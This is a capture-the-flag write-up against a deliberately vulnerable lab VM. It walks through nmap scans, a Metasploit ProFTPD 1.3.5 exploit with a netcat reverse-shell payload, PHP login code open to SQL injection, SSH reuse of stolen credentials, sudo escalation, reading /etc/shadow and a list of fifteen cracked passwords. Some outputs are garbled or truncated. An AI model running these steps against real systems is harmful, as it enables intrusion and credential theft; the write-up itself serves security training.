

# EHE-CTF Writeup

## Step 1: Scanning the network to find the IP of the target.

- **Command:** netdiscover
  - o **Tool:** “Netdiscover” is a network reconnaissance tool used to detect live hosts on a local network and some basic information about them.

- **Result:**

- o **Screenshot:**

The screenshot shows the netdiscover tool's output in a terminal window. It indicates that it is currently scanning the 192.168.106.0/16 network. It has captured 2 ARP request/reply packets from 2 hosts, with a total size of 120 bytes. Below this, a table lists the discovered hosts with their IP addresses, MAC addresses, and vendor information.

Currently scanning: 192.168.106.0/16   Screen View: Unique Hosts						
2 Captured ARP Req/Rep packets, from 2 hosts. Total size: 120						
IP	At	MAC Address	Count	Len	MAC Vendor	/ Hostname
192.168.28.1		08:00:27:15:a7:66	1	60	PCS Systemtechnik GmbH	
192.168.28.3		08:00:27:e0:94:18	1	60	PCS Systemtechnik GmbH	

- o **IP of Target:** 192.168.28.3
    - o **Explanation:** The other IP is for the DHCP server I am running on my virtual box internal network; therefore, this other IP has to be that of our target machine as my IP is 192.168.28.3, checked earlier by running the ifconfig command.

## Step 2: Scanning the IP for open ports and services ( their versions as well ).

- **Command** : `nmap -sC -sS -sV -P0 -p- -o nmap_init_scan.txt 192.168.28.3`
  - **Tool** : nmap (Network mapper) open-source tool primarily used for network discovery and security auditing.
  - **'-sC'** : runs default scripts from the NMAP Script engine (NSE) to get additional information like the vulnerabilities and various other checks.
  - **'-sS'** : To run a stealthier scan.
  - **'-P0'** : since we know the host is up, we don't need to send ping scans which nmap does by default if not specified otherwise. This tells nmap not to do the scanning for whether or not the host is up.
  - **'-p-'** : Scans through all the 65,535 TCP ports on the host to do a thorough inspection.
  - **'-o'** : Outputs the received output from the scan into the nmap\_init\_scan.txt file.
  
- **Result** :
  - **Screenshot** :

```

(user@0x0Vader)-[~/EHE_CTF]
$ cat nmap_init_scan.txt
# Nmap 7.94SVN scan initiated Thu Aug 1 03:47:41 2024 as: nmap -sC -sS -sV -P0 -p- -o nmap_init_scan.txt 192.168.28.3

```

- Explanation : We can see from the results that there are multiple ports open on the given device and there's multiple services running as well, whose versions we have detected as well as some security issues thanks to nmap !

### Step 3: Scanning for vulnerabilities in the services running using nmap.

- Command : `nmap -sC --script vuln 192.168.28.3`
  - '--script' : this defines a script we would run, here we are using the vuln script given by the NSE (Nmap scripting engine) to scan for vulnerabilities and exploits.
- Result :

```

(root@0x0Vader)-[/home/user/EHE_CTF/reconnaissance]
# cat nmap_vuln_scan.txt
# Nmap 7.94SVN scan initiated Sat Aug 3 17:42:47 2024 as: nmap -sC --script vuln -o nmap_vuln_scan.txt 192.168.28.3

[ (root@0x0Vader) - [ /home/user/EHE_CTF/reconnaissance ]

```

- Inference : We can see that multiple vulnerabilities have been listed, such as DOS attacks on certain ports, but we are not interested in those, we are more interested in remote code execution vulnerabilities and gaining reverse shells on the machine.

**Step 4** : Searching for exploits if we can find any and then exploiting the target.

- First we had port 21 open on the target, running Proftpd1.3.5 ftp server.
- Let's search for an exploit for this particular version of Proftpd.

- **Command** : msfconsole ( To use the Metasploit framework through the terminal )
  - o **Tool** : Metasploit is an open-source tool used to identify and exploit vulnerabilities in systems and applications.

```

msf6 > search proftpd 1.3.5 (sr/share/wordlists/rockyou.txt)

msf6 > [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>

```

- And we seem to have found an existing **exploit** !
- We'll use this exploit to deliver a netcat reverse shell on the target (This is a remote code execution exploit).
- This would copy a malicious .php file to the server files and that file would get executed on the server, allowing us to gain a reverse shell onto the target.

```

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat

- Now that we have exploited this vulnerability, let's move on to the next one.
- We saw in the initial nmap scan that there is an http server hosted on port 80. Let's check that out.

# Index of /

Apache/2.4.7 (Ubuntu) Server at 192.168.28.3 Port 80

- Earlier while I was messing around the source code in the rev shell, I found out the source code of payroll\_app.php and I found something interesting, the login form is vulnerable to SQL Injection.

```

<?php
if($_POST['s']){
    $user = $_POST['user'];
    $pass = $_POST['password'];
    $sql = "select username, first_name, last_name, salary from users where username = '$user' and password = '$pass'";
    if ($conn->multi_query($sql)) {
        do {
            /* store first result set */
            echo "<center>";
            echo "<h2>Welcome, " . $user . "</h2><br>";
            echo "<table style='border-radius: 25px; border: 2px solid black;' cellspacing=30>";
            echo "<tr><th>Username</th><th>First Name</th><th>Last Name</th><th>Salary</th></tr>";
            if ($result = $conn->store_result()) {
                while ($row = $result->fetch_assoc()) {
                    $keys = array_keys($row);
                    echo "<tr>";
                    foreach ($keys as $key) {
                        echo "<td>" . $row[$key] . "</td>";
                    }
                    echo "</tr>\n";
                }
                $result->free();
            }
            if (!$conn->more_results()) {
                echo "</table></center>";
            }
        } while ($conn->next_result());
    }
}

```

- The query \$sql = “Select username, first\_name, last\_name, salary from users where username=’\$user’ and password = ’\$pass’”; is prone to SQLi.
- Did some manual SQLi and found this out !

		anakin_skywalker	but_makes_f

- **Result** : We have got the usernames and passwords of 15 users !
- Let's see if we are in luck and some of these users belong to the sudo group !

```
(root@0x0Vader)-[/home/user/EHE_CTF/reconnaissance]
# ssh han_solo@192.168.28.3
han_solo@192.168.28.3's password:
Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 3.13.0-170-generic x86_64)

 * Documentation:  https://help.ubuntu.com/
Last login: Sun Aug  4 07:15:17 2024 from 192.168.28.2
han_solo@virtual-vulnerable-box:~$ whoami
han_solo
```

- So at least the credentials we found are valid. And guess what :

```
han_solo@virtual-vulnerable-box:~$ getent group sudo
sudo:x:27:leia_organa,luke_skywalker,han_solo
han_solo@virtual-vulnerable-box:~$
```

- **Our user has root privileges !!**
- Let's cat the contents of /etc/shadow :

```
han_solo@virtual-vulnerable-box:~$ sudo su
[sudo] password for han_solo:
root@virtual-vulnerable-box:/home/han_solo# cat /etc/shadow

root@virtual-vulnerable-box:/home/han_solo#				

- We know that our 3 **users with root privileges are** : leia\_organa, han\_solo, luke\_skywalker.
- **Non-root users** : kylo\_ren, chewbacca, greedo, jabba\_hutt, boba\_fett, lando\_calrissian, jarjar\_binks, anakin\_skywalker, darth\_vader, ben\_kenobi, c\_three\_pio, artoo\_detoo.

- Credentials :

leia_organa	help_me_obiwan
luke_skywalker	like_my_father_befo
han_solo	nerf_herder
artoo_detoo	b00p_b33p
c_three_pio	Pr0t0c07
ben_kenobi	thats_no_m00n
darth_vader	Dark_syD3
anakin_skywalker	but_master:(
jarjar_binks	mesah_p@ssw0rd
lando_calrissian	@dm1n1str8r
boba_fett	mandalorian1
jabba_hutt	my_kind_a_skum
greedo	hanSh0tF1rst
chewbacca	rwaaaaawr8
kylo_ren	Daddy_Issues2

- Now if you notice closely, the users we got from the SQLi didn't have the user 'myuser1'.
